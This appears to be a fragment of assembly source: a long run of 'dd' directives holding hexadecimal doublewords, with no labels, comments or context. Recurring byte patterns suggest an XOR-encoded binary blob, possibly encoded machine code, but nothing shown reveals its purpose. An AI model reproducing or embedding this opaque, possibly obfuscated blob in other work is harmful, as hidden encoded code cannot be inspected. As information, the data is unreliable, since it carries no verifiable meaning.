dd 0C6B48963h, 29118C91h, 6363625Eh, 9DDC701Dh, 7B159C9Ch
dd 9C9C0325h, 39FA6F9Ch, 61222111h, 74CB6363h, 636362DAh
dd 9DC4581Dh, 1C759C9Ch, 119C9C9Ch, 63625E19h, 2963CC63h
dd 63636124h, 93548963h, 5F158C9Dh, 8D1ED43Dh, 98741F8Ch
dd 0FBE844A5h, 8D1ED03Dh, 9C999F8Ch, 1C8C8D1Eh, 627A9920h
dd 0E8B26363h, 0C41F4D6h, 0C9748C8Dh, 11636337h, 63627221h
dd 0E963CB63h, 2111CC94h, 63636122h, 0B48963CBh, 118C91C6h
dd 63625E29h, 0DC701D63h, 159C9C9Dh, 9C03257Bh, 0FA6F9C9Ch
dd 22211139h, 0CB636361h, 63615D74h, 0C4581D63h, 959C9C9Dh
dd 0E4199347h, 0C3636363h, 5F55C7C2h, 0C4CF4CBh, 61748C8Dh
dd 0C5636336h, 48963CCh, 3F8C9DB9h, 8C8D1E10h, 8D1DA43Dh
dd 8923938Ch, 8C8D1EFCh, 741F4C9Dh, 1099A590h, 0E98C8D1Eh
dd 0C5FF48Bh, 51748C8Dh, 0C5636336h, 848963CCh, 3F8C99AFh
dd 8C8D1E10h, 8D0C33F4h, 362A748Ch, 63CC6363h, 8D1E10A9h
dd 3089638Ch, 3F8C9DBDh, 8C9DB948h, 8D0C01F4h, 3606748Ch
dd 63CC6363h, 8D1E10A9h, 3089638Ch, 3F8C9DBDh, 8C9DBC10h
dd 8D0C16F4h, 36E2748Ch, 63CC6363h, 8D1E10A9h, 3089638Ch
dd 3F8C9DBDh, 8C8DEDC4h, 8D0CE6F4h, 36FE748Ch, 63CC6363h
dd 8D1E10A9h, 3089638Ch, 3F8C9DBDh, 8C9DBC18h, 8D0CF5F4h
dd 36DA748Ch, 63CC6363h, 8D1E10A9h, 3089638Ch, 3F8C9DBDh
dd 8C99AD70h, 8D0CC6F4h, 36B6748Ch, 581F6363h, 0A963CC84h
dd 8C8D1E10h, 0BD308963h, 0A03F8C9Dh, 0C38C91C6h, 7915C95Fh
dd 0D911CBCDh, 85F4CC60h, 939C9E9Ch, 1C2C9923h, 0CCD48C8Dh
dd 6390E963h, 896394E9h, 8C9DB900h, 23935B15h, 8D1DC099h
dd 9F741F8Ch, 98E864A5h, 0D7775CADh, 6384E963h, 0E96388E9h
dd 1D2C3D80h, 999F8C8Dh, 8C8D1D74h, 0CC92741Fh, 638CE963h
dd 896360E9h, 8C9C6CD0h, 0E9635B15h, 94896360h, 3D8C95C6h
dd 8C8D1C5Ch, 0A8892393h, 9D8C8D1Eh, 99741F4Ch, 98E85BA5h
dd 9F775CADh, 0C3DC5CADh, 9D245F55h, 5E1C9CDCh, 15C99C84h
dd 0C8701D79h, 0CF9C9C9Eh, 1911CBCAh, 63636270h, 1D4C3DCCh
dd 741F8C8Dh, 2393CC9Fh, 8D1D8C99h, 0F6CCD48Ch, 992393BDh
dd 8C8D1D34h, 1EF8999Fh, 741F8C8Dh, 8963CC9Fh, 8C99B69Ch
dd 603D5F15h, 1F8C8D1Ch, 44A59E74h, 9C281993h, 0D9119C9Ch
dd 8963CC6Ch, 8C95A9ACh, 66D92B93h, 6EC92B93h, 1C409117h
dd 5D1D8C8Dh, 9C9C3425h, 80812393h, 9D8C8D1Dh, 4D339345h
dd 2B934C9Dh, 91176AC9h, 8C8D1C7Ch, 99035D1Dh, 33939C9Ch
dd 934C9D4Dh, 176CC92Bh, 8D1ECC91h, 675D1D8Ch, 9F9C9B74h
dd 8D1D0491h, 4D33938Ch, 2B934C9Dh, 911764C9h, 8C8D1ED8h
dd 93A95D1Fh, 4C9D4D33h, 9C6CAC3Fh, 9923938Ch, 8C8D1DC0h
dd 0DC892393h, 9D8C8D1Eh, 9F741F4Ch, 61561915h, 29116363h
dd 63636132h, 9DDC701Dh, 7B159C9Ch, 9C9C0325h, 39FA6F9Ch
dd 62702111h, 74CB6363h, 636367B2h, 9DD8581Dh, 0C2C39C9Ch
dd 0C95F55C7h, 0CBCA7915h, 1794E117h, 0D91790E9h, 88C9178Ch
dd 6D154E6Bh, 54AD4D95h, 9D84D99Fh, 9F5B1564h, 0E963BCE1h
dd 2D74CB80h, 1F9C9C80h, 6B159458h, 64155B9Dh, 5FC1C2C3h
dd 0CA7915C9h, 94E117CBh, 1790E917h, 6E15BCD9h, 0AF8CC9AFh
dd 4C9D88C9h, 9D84D99Fh, 635B1564h, 74CB80E9h, 9C9C80E0h
dd 1594581Fh, 155B9D6Bh, 0C1C2C364h, 7915C95Fh, 9FBC9424h
dd 0E876749Ch, 0CACF9C9Ch, 992393CBh, 8C8D1DF4h, 1E94999Fh
dd 741F8C8Dh, 8019159Ah, 6363607Dh, 0E9638CE9h, 0C56C3D90h
dd 18118C95h, 607DB499h, 8963CC63h, 8C95D588h, 9390581Fh
dd 1D209923h, 23938C8Dh, 8D1EA089h, 1F4C9D8Ch, 3DCC9474h
dd 8C8D1DA4h, 1C20999Fh, 741F8C8Dh, 9FF6CC9Fh, 8D1DF03Dh
dd 95741F8Ch, 1DB83DCCh, 999F8C8Dh, 8C8D1EC4h, 0CC96741Fh
dd 9C9C9DF4h, 94E9635Ch, 0F0848963h, 19158C8Dh, 6363730Ch
dd 1DFC9117h, 5D1F8C8Dh, 24919F6Eh, 0A58C8D1Ch, 63B7E95Dh
dd 607D8019h, 1C383D63h, 741F8C8Dh, 8019A794h, 0E963607Dh
dd 94E96392h, 632BCB74h, 0E475C563h, 0AD636363h, 884F755Ch
dd 743D9C9Ch, 9F8C8D1Dh, 8D1C5499h, 9B741F8Ch, 0C2963CCh
dd 63636373h, 95C68889h, 6CD9158Ch, 9D636399h, 8CD99F9Ch
dd 639CF6CCh, 99B57089h, 60D9158Ch, 1D60A963h, 19118C8Dh
dd 63607DBCh, 6CE963CCh, 6360E963h, 63730C29h, 0A8896363h
dd 178C9C6Ch, 0DC1760D9h, 5C1915A0h, 1763636Bh, 607DBC19h
dd 9C64B163h, 19A59C9Ch, 63636B5Ch, 88D41B93h, 19179C9Ch
dd 63636B5Ch, 1560D99Fh, 2B9364D9h, 0D9CCA19Ch, 19939C9Ch
dd 9C9C88B2h, 9364D917h, 93C0DC2Bh, 1D1C8923h, 0A5D68C8Dh
dd 8B18934Ch, 1F9C9C88h, 6372E039h, 0D9179C63h, 0CC2B9364h
dd 409117D8h, 1F8C8D1Ch, 56A59A5Dh, 8917A3E9h, 8C8D1E80h
dd 14945E1Fh, 661C86CCh, 93B2E89Ch, 15DADC2Bh, 607D9019h
dd 1D743D63h, 999F8C8Dh, 8C8D1ED4h, 0A59E741Fh, 607D9019h
dd 5B1F9363h, 5B9C9C8Fh
dd 6372E019h, 9C9C9D63h, 1DA03D9Ch, 23938C8Dh, 8D1DF489h
dd 1F4C9D8Ch, 19A59174h, 636372E0h, 3C3DCFE8h, 9F8C8D1Dh
dd 8D1D6C99h, 9F741F8Ch, 7D9019A5h, 83EF6360h, 1F64D917h
dd 2B939A5Ch, 7C91178Ch, 9F8C8D1Dh, 8D1D0C91h, 97751F8Ch
dd 15FA56B5h, 1782778Ch, 5C1F64D9h, 8C2B939Ah, 1DC49117h
dd 93DD8C8Dh, 1DECA123h, 659D8C8Dh, 15FA56B5h, 64D9178Ch
dd 9C1C1417h, 11159C9Ch, 6363674Ch, 9C481C17h, 64999C9Ch
dd 9F9C9C9Ch, 636B5C19h, 10191563h, 24636373h, 9C9C9CB4h
dd 80912393h, 1F8C8D1Dh, 7D6B9F5Dh, 7D941915h, 199D6360h
dd 63637310h, 9C9CB424h, 64D1179Ch, 9AD52B93h, 19157D6Bh
dd 63607D98h, 7310199Dh, 0D9176363h, 0C8DC1764h, 731019A5h
dd 1B936363h, 9C9C8E7Eh, 78992393h, 938C8D1Ch, 1DDC8923h
dd 4C9D8C8Dh, 1599741Fh, 683D78D9h, 9F8C8D1Dh, 8D1DE499h
dd 94741F8Ch, 6F301915h, 23936363h, 8D1C7899h, 3819158Ch
dd 3D636373h, 8C8D1DA8h, 1EF0999Fh, 741F8C8Dh, 5019158Ch
dd 75636367h, 9C9C9C22h, 9C9CB424h, 50396B9Ch, 15636367h
dd 607C6419h, 5C191763h, 9963636Bh, 9C9C9C64h, 1760D99Fh
dd 607C6409h, 9D4A1563h, 90DA175Ah, 1594DA9Fh, 607D9C19h
dd 8CDA1763h, 1588DA9Fh, 607C6019h, 30111763h, 0A563636Fh
dd 159AEA54h, 636F3019h, 78D91763h, 7D9C19A5h, 95EA6360h
dd 7D9C1917h, 0D9156360h, 64D91778h, 9C341C17h, 19A79C9Ch
dd 63607D9Ch, 0DAA786EFh, 1789EE90h, 0C91788DAh, 341E9F64h
dd 0B79C9C9Ch, 191590DAh, 63637338h, 674C1917h, 0CA176363h
dd 0EE4CA590h, 94CA9F87h, 88EF4CA5h, 1788DA17h, 63674C09h
dd 90CAB763h, 19154C9Dh, 63636B20h, 67501963h, 0D9176363h
dd 0DC2B9364h, 5019A59Ah, 93636367h, 6363B31Eh, 99239363h
dd 8C8D1DD8h, 9C936399h, 0E963CC9Ch, 7CF87478h, 581F6363h
dd 78D91594h, 8D1C583Dh, 4C999F8Ch, 1F8C8D1Dh, 19A59074h
dd 636372E0h, 191795E8h, 63636F30h, 176CD915h, 239364D9h
dd 8D1DB089h, 9123938Ch, 8C8D1E90h, 761F569Dh, 340CA599h
dd 0E99C9C9Ch, 30191793h, 0A563636Fh, 19936CD9h, 9C9C8DC6h
dd 50992393h, 9F8C8D1Dh, 8D1C0C99h, 9B741F8Ch, 733819A5h
dd 18936363h, 9C9C9C59h, 8D1D943Dh, 9E741F8Ch, 7C641915h
dd 0F03D6360h, 1F8C8D1Dh, 19159574h, 63607D9Ch, 1917D277h
dd 63637338h, 7C681915h, 80246360h, 6B9C9C9Ch, 607D9C39h
dd 6C191563h, 1763607Ch, 607C6819h, 6C091763h, 9D63607Ch
dd 60D99F4Ch, 7C601915h, 9176360h, 63607C64h, 0EA84CCA5h
dd 84DC1795h, 7C641915h, 19636360h, 63607D9Ch, 1764E117h
dd 9C9C301Bh, 9C80259Ch, 745D9C9Ch, 0D5B9269Eh, 7E6BB80Eh
dd 7C680915h, 4B156360h, 7D9C21A5h, 16EE6360h, 6364D917h
dd 2963A0ECh, 63607C64h, 6343CD74h, 94581F63h, 7C641915h
dd 19176360h, 63636F30h, 7C6419A7h, 95E86360h, 936CD9A7h
dd 9C8CE519h, 14391F9Ch, 9C636373h, 8D1D0C3Dh, 9A741F8Ch
dd 67541915h, 0D8756363h, 179C9C9Dh, 63675419h, 20199F63h
dd 9F63636Bh, 191560D9h, 63604360h, 8D1ED03Dh, 40999F8Ch
dd 1F8C8D1Dh, 9179274h, 63604360h, 18939EA7h, 9C9C9DB4h
dd 6B201917h, 9176363h, 63604360h, 0B790CE17h, 63674C09h
dd 154C9D63h, 60436419h, 60D99F63h, 9D1911CCh, 0CC63607Ch
dd 0BD388963h, 581F8C9Dh, 1EEC3D94h, 741F8C8Dh, 9C191599h
dd 7763607Dh, 9C1917B7h, 1663607Dh, 7C9D9918h, 0E6A06360h
dd 0FDA088E1h, 19178CE2h, 63607D9Ch, 9D991811h, 1C63607Ch
dd 1963BCB4h, 63607D9Ch, 7D9C1917h, 22936360h, 7C9D9918h
dd 89176360h, 8C8D1C38h, 0A595761Fh, 9326E94Ch, 1C309923h
dd 999F8C8Dh, 8C8D1C04h, 6299201Ch, 0AF636043h, 0D83DF2E9h
dd 1C8C8D1Eh, 43609920h, 0E9CE6360h, 992393C3h, 8C8D1EF4h
dd 6399201Ch, 0D9636043h, 0EC3DD2E9h, 9F8C8D1Eh, 8D1D4099h
dd 99201C8Ch, 6360436Fh, 93A5E9D7h, 1C6C9923h, 999F8C8Dh
dd 8C8D1D94h, 9D99201Ch, 0D063607Ch, 283DBEE9h, 938C8D1Ch
dd 1EA88923h, 4C9D8C8Dh, 9C99201Ch, 0AE63607Ch, 195B96E9h
dd 63637314h, 9C9C9C9Dh, 6754191Fh, 17886363h, 1C1764D9h
dd 9C9C9C18h, 675419A5h, 1E936363h, 6363623Bh, 8D1DB83Dh
dd 95741F8Ch, 731419A5h, 18936363h, 9C9C926Eh, 0FA64D917h
dd 9D8AD41Fh, 95C56C3Dh, 9918118Ch, 63607DB4h, 67481915h
dd 0DC176363h, 241915A0h, 9F63636Bh, 63674819h, 28191563h
dd 1F63636Bh, 6372E021h, 19939C63h, 9C9C9D99h, 9364D917h
dd 1D208923h, 899F8C8Dh, 8C8D1C0Ch, 0A59A761Fh, 9C9C480Ch
dd 7A18939Ch, 179C9C9Ch, 8D1D4889h, 88899F8Ch, 1F8C8D1Dh
dd 0CA59776h, 9C9C9C4Ch, 9C571893h, 9179C9Ch, 63637310h
dd 93C8CCA5h, 9C9C201Ah, 5C19179Ch, 1563636Bh, 607C6419h
dd 9CB42463h, 0D1179C9Ch, 0D52B9364h, 157D6B9Ah, 607C6819h
dd 64191763h, 1763607Ch, 607C6809h, 8C181163h, 9C9C9C64h
dd 7D9C1915h, 0B4246360h, 179C9C9Ch, 8D1E8491h, 9E5D1F8Ch
dd 19157D6Bh, 63607C6Ch, 7D9C199Fh, 19156360h, 63607C60h
dd 6364D917h, 9C9C482Ch, 60D9179Ch, 7D9C0917h, 5E9D6360h
dd 600917CEh, 9D63607Ch, 8963CE5Eh, 8C95D588h, 1790581Fh
dd 4C9964D9h, 159C9C9Ch, 607C7019h, 9CB42463h, 91179C9Ch
dd 8C8D1D18h, 1EC4919Fh, 751F8C8Dh, 157D6B9Ah, 607C7419h
dd 70191763h, 1563607Ch, 7411175Eh, 9D63607Ch, 64D91796h
dd 63A0EC63h, 0C7746CE9h, 15636340h, 19176CD9h, 63636B5Ch
dd 7D9C1915h, 0B4246360h, 179C9C9Ch, 2B9364D1h, 7D6B9AD5h
dd 7C601915h, 0D99F6360h, 9C091760h, 1163607Dh, 9C649E28h
dd 0CDF49C9Ch, 748C8D0Ch, 63630374h, 8963CACCh, 8C9DBD38h
dd 8D1D903Dh, 9C89998Ch, 999F7C9Ch, 8C8D1C68h, 17B8DA15h
dd 19156CD9h, 63636B2Ch, 8D1D043Dh, 636A998Ch, 999F9C9Dh
dd 8C8D1DC8h, 3D94DA15h, 8C8D1ECCh, 9F985C1Fh, 8D1D0C99h
dd 283DCC8Ch, 9F8C8D1Ch, 8D1DF099h, 91741F8Ch, 1F6C15CCh
dd 63CC845Ch, 95D6A889h, 78D9178Ch, 733C1915h, 0D9176363h
dd 90DA1578h, 156CD917h, 0D91788DAh, 0A0EC6364h, 9F8CD917h
dd 95C56C99h, 0F74CC8Ch, 15636347h, 89638CDAh, 8C8DEDCCh
dd 1ED0A117h, 23938C8Dh, 8D1E9089h, 1F4B9D8Ch, 61259873h
dd 59C9C9Ch, 4B9D656Bh, 73002115h, 0D9176363h, 90CA1764h
dd 1594CA9Fh, 0D03DCCCCh, 998C8D1Dh, 9C9D636Fh, 3C892393h
dd 9D8C8D1Ch, 78D99D4Ch, 1F64D917h, 63FA9A5Ch, 64D9179Ch
dd 17A0EC63h, 0DA9F6CD9h, 0B774CC8Ch, 1F636347h, 0D915AC58h
dd 1DA83D6Ch, 5C1F8C8Dh, 581915A4h, 77636367h, 0CC8963A9h
dd 178C8DEDh, 63675821h, 48091763h, 15636367h, 607C6809h
dd 64191563h, 2563607Ch, 9C9C9C63h, 17656B05h, 607C6811h
dd 0A5881463h, 67581963h, 19176363h, 63636B24h, 675819A5h
dd 21EE6363h, 0EDCC8963h, 0A1178C8Dh, 8C8D1D7Ch, 0F4892393h
dd 9D8C8D1Dh, 90731F4Bh, 6B24219Fh, 9176363h, 63636748h
dd 7C700915h, 19156360h, 63607C6Ch, 9C9C6325h, 656B059Ch
dd 7C701117h, 88146360h, 1C743DA5h, 741F8C8Dh, 4809179Bh
dd 17636367h, 63730011h
dd 0D16D1F63h, 639E9014h, 8DEDCC89h, 2421178Ch, 1763636Bh
dd 63674809h, 78091563h, 1563607Ch, 607C7419h, 9C632563h
dd 6B059C9Ch, 78111765h, 1463607Ch, 2393A588h, 8D1EA0A1h
dd 8923938Ch, 8C8D1D70h, 731F4B9Dh, 48091799h, 17636367h
dd 755D8CD1h, 0A6901495h, 8D1DB43Dh, 9B741F8Ch, 72E019A5h
dd 0FCE86363h, 1764D917h, 899FA8CCh, 8C8D1C40h, 15B4CC9Fh
dd 607C7C09h, 2C191763h, 1F63636Bh, 0C917945Ch, 9E981760h
dd 7C401915h, 383D6360h, 1F8C8D1Ch, 9179974h, 63607C40h
dd 1D689117h, 5D1F8C8Dh, 9D56B566h, 7C199F4Ch, 1563607Ch
dd 607C4419h, 64D91763h, 7C440917h, 0CCB76360h, 0B4CC15A8h
dd 0C56CA963h, 6CF48C95h, 118C99ADh, 607DB419h, 8963CC63h
dd 8C95D588h, 9F8CDA17h, 95C56C99h, 1911CC8Ch, 63607DB4h
dd 88DA17CCh, 0CC60D99Fh, 0D5888963h, 581F8C95h, 88DA1784h
dd 0C56C999Fh, 19158C95h, 63637304h, 1EAC8917h, 761F8C8Dh
dd 154C9D9Fh, 63674019h, 17867763h, 63674019h, 60D99F63h
dd 0AF8C2A93h, 63730009h, 638C1463h, 63674019h, 8CD91763h
dd 7304199Fh, 19A56363h, 63636740h, 239349EEh, 8D1C4499h
dd 64999F8Ch, 1F8C8D1Ch, 0D9159174h, 1C243D74h, 741F8C8Dh
dd 5C191594h, 75636367h, 9C9C9E72h, 9C9CB424h, 64D1179Ch
dd 9AD52B93h, 19157D6Bh, 63607C40h, 6B5C1917h, 64996363h
dd 9F9C9C9Ch, 91760D9h, 63607C40h, 5A9D4A15h, 6B241917h
dd 19156363h, 63607C44h, 9C9CB424h, 5C396B9Ch, 15636367h
dd 607C4819h, 48191763h, 17636367h, 607C4809h, 9E181163h
dd 9C9C9C64h, 7C440917h, 4F156360h, 23935F9Dh, 8D1D0899h
dd 8923938Ch, 8C8D1C44h, 741F4C9Dh, 9FA01C93h, 3DAEE9EEh
dd 8C8D1E84h, 1C985C1Fh, 0E9FF9FA0h, 992393B8h, 8C8D1EDCh
dd 1D64999Fh, 741F8C8Dh, 9FA01C94h, 1792E9B2h, 191588DFh
dd 6363731Ch, 9C9EAB75h, 1D683D9Ch, 0A01C8C8Dh, 0AFE9FD9Fh
dd 8D1D943Dh, 9E741F8Ch, 0B29FA01Ch, 483DB9E9h, 1F8C8D1Dh
dd 0A01C9474h, 8BE9F99Fh, 1588DF17h, 63731819h, 90DF1763h
dd 72E41915h, 65756363h, 939C9C9Dh, 1D549923h, 23938C8Dh
dd 8D1DF489h, 1F4C9D8Ch, 0A01C9774h, 81E9B29Fh, 8D1EC43Dh
dd 9FA01C8Ch, 3D8EE9F5h, 8C8D1D84h, 1C98741Fh, 93FD9FA0h
dd 9C9D5F18h, 9923939Ch, 8C8D1C08h, 1C9F741Fh, 93B29FA0h
dd 9C9C1819h, 9923939Ch, 8C8D1D30h, 1C99741Fh, 0E9FE9FA0h
dd 992393E8h, 8C8D1D1Ch, 30892393h, 9D8C8D1Ch, 9A741F4Ch
dd 0EF9FA01Ch, 5A1FC7E9h, 99239344h, 8C8D1EE8h, 9C9C8399h
dd 0B8DA157Ch, 8D1DFC3Dh, 9366998Ch, 23939C9Ch, 8D1DD889h
dd 0CC4C9D8Ch, 7494EA63h, 63634BE6h, 9D94E717h, 94E2155Bh
dd 8D1C7C3Dh, 9363998Ch, 17CC9C9Ch, 0D99F94DFh, 0C774CC78h
dd 1F63634Bh, 0D9158C58h, 0B45A1F78h, 9C9DB775h, 0B8DF179Ch
dd 17B8DA15h, 0DA1594DFh, 6CD91794h, 1788DA15h, 0DA158CDFh
dd 9923938Ch, 8C8D1D70h, 1D4C8917h, 0D8118C8Dh, 3DCC9A8Ch
dd 8C8D1ED8h, 0CC9B741Fh, 5C1F6C15h, 8963CC84h, 8C95D6A8h
dd 1578D917h, 0CACF90DAh, 0BD388963h, 0E1178C9Dh, 90CA1774h
dd 28210815h, 1763636Fh, 81594CFh, 636B5821h, 90CF1763h
dd 7C210815h, 17636367h, 81588CAh, 63732C21h, 74D96363h
dd 9D8CDF17h, 0D9176CD9h, 7C19156Ch, 1763607Ch, 0EC6364D9h
dd 6CE963A0h, 634A2974h, 80581F63h, 176CD915h, 607C7C11h
dd 0EA54A563h, 892393B8h, 8C8D1EF4h, 1C9E761Fh, 0E9F88FA0h
dd 1554B588h, 607C4C19h, 8CDA9D63h, 7C4C1917h, 0DA9D6360h
dd 64D91794h, 0FA9A5C1Fh, 23939C63h, 8D1D3099h, 9366998Ch
dd 17CC9C9Ch, 0DF9F90DAh, 0C374CC94h, 1763634Ah, 0DB1564E1h
dd 1C5C3DCCh, 63998C8Dh, 0CC9C9C93h, 9F78D917h, 74CC94DFh
dd 63634ADEh, 6378D915h, 0DF178CEAh, 48199F88h, 0CC636367h
dd 9F88DA17h, 63CC60D9h, 95D58889h, 80581F8Ch, 675C1963h
dd 19176363h, 63636B28h, 9ADC2B93h, 675C19A5h, 1E936363h
dd 63636060h, 731C1917h, 199F6363h, 63636748h, 3D70D915h
dd 8C8D1DD4h, 159B741Fh, 0C0777CD9h, 177CE117h, 8E1770C9h
dd 7C2108A5h, 0E9636367h, 70D91797h, 19159C17h, 63636F2Ch
dd 5D7CE117h, 8179E7Bh, 636B58A1h, 0A1089F63h, 6363677Ch
dd 0A770E117h, 17BEEA8Bh, 20177CE1h, 63732C21h, 8211563h
dd 17636373h, 20177CE1h, 636F2821h, 30211563h, 77636373h
dd 7CD96397h, 0A574D917h, 0EE7CD9h, 8D1D7C3Dh, 95741F8Ch
dd 67441915h, 0F2756363h, 179C9C9Dh, 63674419h, 70D99F63h
dd 1C608917h, 5E1F8C8Dh, 91239398h, 8C8D1EB8h, 4C9D569Dh
dd 7C401915h, 17FA6360h, 1915FA9Ch, 63607C7Ch, 7C192B93h
dd 1763607Ch, 8D1C6089h, 0F8899F8Ch, 1F8C8D1Eh, 4CA59976h
dd 9DA91893h, 2B939C9Ch, 607C7C21h, 891763h, 158C8D1Dh
dd 0D0919F4Dh, 4F8C8D1Eh, 2115FA63h, 63607C46h, 7C212B93h
dd 1763607Ch, 8D1DD491h, 9F751F8Ch, 15FA7B4Fh, 607C7E21h
dd 212B9363h, 63607C7Eh, 1D248917h, 23938C8Dh, 8D1DD891h
dd 15569D8Ch, 98751F4Dh, 15FA634Fh, 607C7E21h, 192B9363h
dd 63607C7Eh, 1C688917h, 761F8C8Dh, 0E94CA59Eh, 99239380h
dd 8C8D1DD8h, 1DB4999Fh, 741F8C8Dh, 4419A594h, 93636367h
dd 9C9C3619h, 2819179Ch, 1763636Bh, 2B93A8DCh, 607C7E09h
dd 174C9D63h, 9E9F70C9h, 7C481915h, 19176360h, 63637330h
dd 0C9179E9Fh, 0A8DE9F64h, 7E092B93h, 9D63607Ch, 2C19B74Ch
dd 1563636Fh, 607C4C19h, 4819B763h, 1563607Ch, 607C5019h
dd 192B9363h, 63607C46h, 1DE499A7h, 0B5E98C8Dh, 7E192B93h
dd 9F63607Ch, 63730819h, 70C91763h, 19B79E9Fh, 63636F2Ch
dd 1560D99Fh, 607C5419h, 50091763h, 9D63607Ch, 1D403D8Ch
dd 999F8C8Dh, 8C8D1DF0h, 9D8C741Fh, 63674419h, 70D91763h
dd 0A598DC17h, 63674419h, 1C1E9363h, 17636362h, 0CC1770D9h
dd 155E9D98h, 191770C9h, 63636B28h, 9C381C17h, 9179C9Ch
dd 6363731Ch, 6748099Fh, 4C9D6363h, 9370D9A5h, 6361521Eh
dd 64D91763h, 15B4D417h, 6372E811h, 3C091763h, 15636373h
dd 211FB4CCh, 636372E0h, 1F83E99Ch, 917FC5Ch, 63636B28h
dd 9DFCCE17h, 64D9178Ch, 17F45C1Fh, 636B2809h, 0F4CE1763h
dd 0D9178C9Dh, 0CC891764h, 1F8C8D1Eh, 15FA975Eh, 8917D8CCh
dd 8C8D1D78h, 44912393h, 9D8C8D1Ch, 9A761F56h, 1786CC14h
dd 63731811h, 48119F63h, 15636367h, 607D8411h, 68891763h
dd 1F8C8D1Ch, 15FA9B5Eh, 1917DACCh, 63637318h, 0DE9F5615h
dd 0E419B780h, 15636372h, 607D8819h, 48199F63h, 15636367h
dd 607D8C19h, 159C1763h, 63733419h, 99239363h, 8C8D1DF4h
dd 1C24999Fh, 741F8C8Dh, 40D91590h, 0E117DD77h, 9E7B5D40h
dd 7CA10817h, 9F636367h, 6B58A108h, 9A76363h, 63637334h
dd 0E117BEEAh, 21201740h, 6363677Ch, 72F42115h, 0E1176363h
dd 21201740h, 63636F28h, 72F02115h, 97776363h, 1740D963h
dd 0D9A574D9h, 172BEE40h, 6372F019h, 64C91763h, 9FA8DE9Fh
dd 63733419h, 0F419B763h, 15636372h, 6372EC19h, 28191763h
dd 1763636Bh, 199FA8DCh, 63637334h, 73341915h, 19176363h
dd 63636B2Ch, 7568D915h
dd 9C9C9E1Ah, 1768D917h, 2A9360C9h, 0A1179E90h, 8C8D1E84h
dd 9C7B5B1Dh, 0A19F9C9Ch, 8C8D1EB0h, 199365A5h, 9C9C9D88h
dd 58912393h, 938C8D1Dh, 1D80A123h, 659D8C8Dh, 1599751Fh
dd 93539D5Bh, 93A6902Ah, 1EA0A123h, 731F8C8Dh, 9365A59Fh
dd 9C9C7B19h, 0F091179Ch, 1F8C8D1Eh, 5B159975h, 2A93539Dh
dd 2393A690h, 8D1C70A1h, 88A19F8Ch, 1F8C8D1Dh, 65A59E73h
dd 9C221993h, 91179C9Ch, 8C8D1DF8h, 15985D1Fh, 93539D5Bh
dd 17A6902Ah, 8D1D2CA1h, 9B731F8Ch, 199365A5h, 9C9C9C00h
dd 1C5C9117h, 919F8C8Dh, 8C8D1D64h, 9D9B751Fh, 982A9354h
dd 3C89179Eh, 9F8C8D1Dh, 8D1ECC89h, 9E761F8Ch, 0E8E94CA5h
dd 72E81917h, 0C9176363h, 0A8DE9F64h, 7C7C1915h, 0DE176360h
dd 3C199FA8h, 17636373h, 9B768C9h, 63636B2Ch, 19154C9Dh
dd 63607C40h, 90992393h, 1F8C8D1Eh, 19B7635Ch, 63607C40h
dd 7C7C199Fh, 89176360h, 8C8D1DA8h, 1DB4899Fh, 761F8C8Dh
dd 154CB597h, 607C4419h, 0A8A11763h, 178C8D1Dh, 911768C9h
dd 8C8D1C04h, 9F569DD5h, 5D1560C9h, 7C26D015h, 9368D917h
dd 1D708923h, 9158C8Dh, 63607C7Ch, 1560D117h, 607C4011h
dd 0A8A11763h, 9D8C8D1Dh, 96731F4Bh, 669D5E15h, 8D882A93h
dd 1DD4A117h, 0A19F8C8Dh, 8C8D1C00h, 0A592731Fh, 94199366h
dd 939C9C9Dh, 1D348923h, 899F8C8Dh, 8C8D1C48h, 1599761Fh
dd 934B9D5Bh, 17A5882Ah, 8D1E84A1h, 66A5D38Ch, 9C7D1993h
dd 89179C9Ch, 8C8D1E80h, 159F5E1Fh, 934B9D5Bh, 17A5882Ah
dd 8D1E98A1h, 9F731F8Ch, 199366A5h, 9C9C9C23h, 1D4C8917h
dd 23938C8Dh, 8D1EF4A1h, 1F669D8Ch, 5B159E76h, 2A934B9Dh
dd 2393A588h, 8D1D08A1h, 7C11178Ch, 9D63607Ch, 1F651553h
dd 56A59675h, 9C151993h, 9179C9Ch, 63607C40h, 9E982A93h
dd 1DD08917h, 5E1D8C8Dh, 9C9C9C7Eh, 0F3E94CA5h, 0B768D917h
dd 636B2C19h, 3C199F63h, 17636373h, 0DE9F64C9h, 441915A8h
dd 1763607Ch, 6372EC19h, 48191563h, 9363607Ch, 1D148923h
dd 91178C8Dh, 8C8D1DA0h, 6D96C811h, 7C4409B7h, 4C9D6360h
dd 1D848917h, 761F8C8Dh, 154CB599h, 607C4C19h, 84A11763h
dd 178C8D1Eh, 239368C9h, 8D1DBC91h, 9E751F8Ch, 0C99F569Dh
dd 155D1560h, 636026D0h, 191768D9h, 63636B2Ch, 0C56C999Fh
dd 0D9A58C95h, 0F91E9368h, 63636361h, 63730C29h, 0D4896363h
dd 638C95D6h, 191194E9h, 6363721Dh, 388963CCh, 1F8C9DBDh
dd 0D9179458h, 1F5D1594h, 1CDC6354h, 0E99C9DA0h, 0B8191565h
dd 9363607Dh, 1E908923h, 5E1F8C8Dh, 5A4CB59Eh, 721D9918h
dd 17EA6363h, 607DB819h, 0AC891763h, 9F8C8D1Dh, 8D1D7889h
dd 9B761F8Ch, 185A4CB5h, 63721D99h, 4C3DEE63h, 178C8D1Dh
dd 607DB809h, 9D5D1563h, 1F54155Dh, 5EB59F74h, 1D89185Ah
dd 0F5636372h, 78992393h, 938C8D1Ch, 1EB88923h, 4C9D8C8Dh
dd 0CC9E741Fh, 1C20A963h, 9EF68C8Dh, 8D1D0C3Dh, 9A741F8Ch
dd 1DA43DCCh, 741F8C8Dh, 9CF4CC9Fh, 11DC9C9Ch, 63721D19h
dd 8963CC63h, 8C8DF084h, 730C1915h, 23936363h, 8D1C7899h
dd 1911CC8Ch, 63607DBCh, 6CE963CCh, 6360E963h, 63730C29h
dd 80896363h, 638C8DECh, 896360E9h, 8C9DB950h, 730C2963h
dd 89636363h, 8C95D6D4h, 0E9639CF6h, 1D191194h, 0CC636372h
dd 0AAD88963h, 19118C95h, 6363721Dh, 908963CCh, 248C9C6Ch
dd 9C9C9C9Dh, 0E9638B77h, 50896360h, 638C9DB9h, 63730C29h
dd 0D4896363h, 0AD8C95D6h, 0C7C2C35Ch, 15C95F55h, 0DC701F79h
dd 17CBCACFh, 0C83D94E9h, 158C8D1Dh, 58A19F5Bh, 1F8C8D1Ch
dd 92778C73h, 7F4D6715h, 0E28817FAh, 81C815FAh, 2393DB5Ch
